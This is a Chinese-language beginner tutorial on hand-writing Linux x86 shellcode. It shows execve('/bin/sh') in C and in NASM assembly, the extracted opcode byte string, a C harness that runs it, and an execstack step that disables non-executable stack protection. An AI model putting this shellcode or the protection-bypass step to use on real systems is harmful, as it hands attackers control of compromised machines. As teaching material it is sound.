二進制入門-打造Linux shellcode基礎篇


0x01 前言

 
本文的目的不是為了介紹如何進行惡意的破壞性活動,而是為了教會你如何去防御此類破壞性活動,以幫助你擴大知識范圍,完善自己的技能,如有讀者運用本文所學技術從事破壞性活動,本人概不負責。
 

0x02 什么是Shellcode

 
shellcode是用作利用軟件漏洞的有效載荷的一小段代碼,因為它通常啟動一個命令shell,攻擊者可以從中控制受攻擊的機器,所以稱他為shellcode。但是任何執行類似任務的代碼都可以稱為shellcode。 因為有效載荷的功能不僅限於一個shell。
shellcode基本的編寫方式有以下三種
 
  • 直接編寫十六進制操作碼。
  • 使用c語言編寫程序,然后進行編譯,最后進行反匯編來獲取匯編指令和十六進制操作碼。
  • 編寫匯編程序,將該程序匯編,然后從二進制中提取十六進制操作碼。
 
第一種方法很極端,直接編寫十六進制操作碼是一件非常難得事情。下面我將帶大家一步步去編寫自己的shellcode。


0x03 execve系統調用

 
在Linux系統上執行程序的方式有多種,但是其中使用最廣泛的一種方式就是通過借助execve系統調用。我們首先來看看execve的使用方法。


 

 
說明看起來很復雜,其實很簡單。我們先使用c語言來實現它。


c語言實現execve系統調用創建shell

 
我們首先來新建一個文件:
 

 

 
我們使用vim來編寫代碼:
 
看完上面的介紹,使用c語言來實現就很簡單了。


1
2
3
4
5
6
7
8
9
#include <unistd.h>
 
int main ( )
{
     char * shell[ 2 ];
     shell[ 0 ] = "/bin/sh" ;
     shell[ 1 ] = NULL;
     execve ( shell[ 0 ] , shell , NULL ) ;
}
 
然后我們使用gcc編譯器來編譯一下:
 

gcc test.c -o test.o

 
運行看看:
 

 

 
成功執行創建一個shell。


轉向匯編語言

 
前面我們已經使用c語言來實現了,現在我們就需要用匯編語言來重寫execve系統調用,其實很簡單。我們先來查看一下execve系統調用號:11

 

匯編代碼重寫:
 
首先我們將寄存器eax清零。
 

xor eax,eax

 
然后我們將寄存器eax進行入棧操作,其實就是將字符串末尾的空字符值入棧:
 

push eax

然后將//sh入棧(由於需要對齊,因此這里用了四個字節)


push 0x68732f2f

 
最后將/bin入棧。


push 0x6e69622f

 
現在棧上已經有了全部所需數據,現在就是設置execve系統調用了。


[AppleScript]  純文本查看 復制代碼
?
1
2
3
4
5
6
7
mov ebx , esp
push eax
push ebx
mov ecx , esp
xor edx , edx
mov al , 0 xb  ; 0 xb表示其系統調用號的十六進制,execve的系統調用號為 11
int 0 x 80



完整代碼如下:


 
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
section . text
global _start
 
_start :
xor eax , eax
push eax
push 0 x 68732 f 2 f
push 0 x 6 e 69622 f
mov ebx , esp
push eax
push ebx
mov ecx , esp
xor edx , edx
mov al , 0 xb
int 0 x 80



匯編鏈接測試

 
首先使用nasm進行匯編



root@kali:~/demo# nasm -f elf test.asm

 
然后使用ld鏈接


root@kali:~/demo# ld -o test test.o

 
運行測試看看

root@kali:~/demo# ./test
#

 

0x04 提取十六進制操作碼並測試Shellcode

 
獲得十六進制操作碼很簡單,我們只需要使用objdump工具的-d選項來進行反匯編即可:
 

 

 
最后我們檢查一下有沒有出現空字符(\x00)。


測試shellcode

 
首先我們將十六進制操作碼放入一個名為shellcode[]的緩沖區中。


 
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>
 
char shellcode[] =
"\x31\xc0"
"\x50"
"\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x31\xd2"
"\xb0\x0b"
"\xcd\x80" ;
 
int main ( )
{
     void (*fp) (void);
     fp=(void *) shellcode;
     fp ( ) ;
}



然后我們分配一個名為fp的函數指針,然后將這個函數指針設置為shellcode[]的起始地址。最后我們執行這個函數。
現在我們編譯一下,這里注意一下,編譯成功后我們還是不能成功執行的,會出現段錯誤的提示,這是因為系統本身有數據區執行保護機制,導致在全局數據段的shellcode不能被運行,即出現段錯誤。
 

 

 
這里我們先安裝一下execstack。


sudo apt-get install execstack

 
然后針對編譯后的程序使用execstack


execstack -s 程序名

 
之后執行就OK了
 

 

總結

 
現在我們已經知道一個shellcode編寫流程了,別走開,這只是基礎篇,我們實現的這個shellcode缺乏實戰,下一篇教程我們繼續完善這個shellcode。
 
參考:
《匯編語言(第3版) 》王爽
《[科普]淺入淺出Liunx Shellcode》pr0cess


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM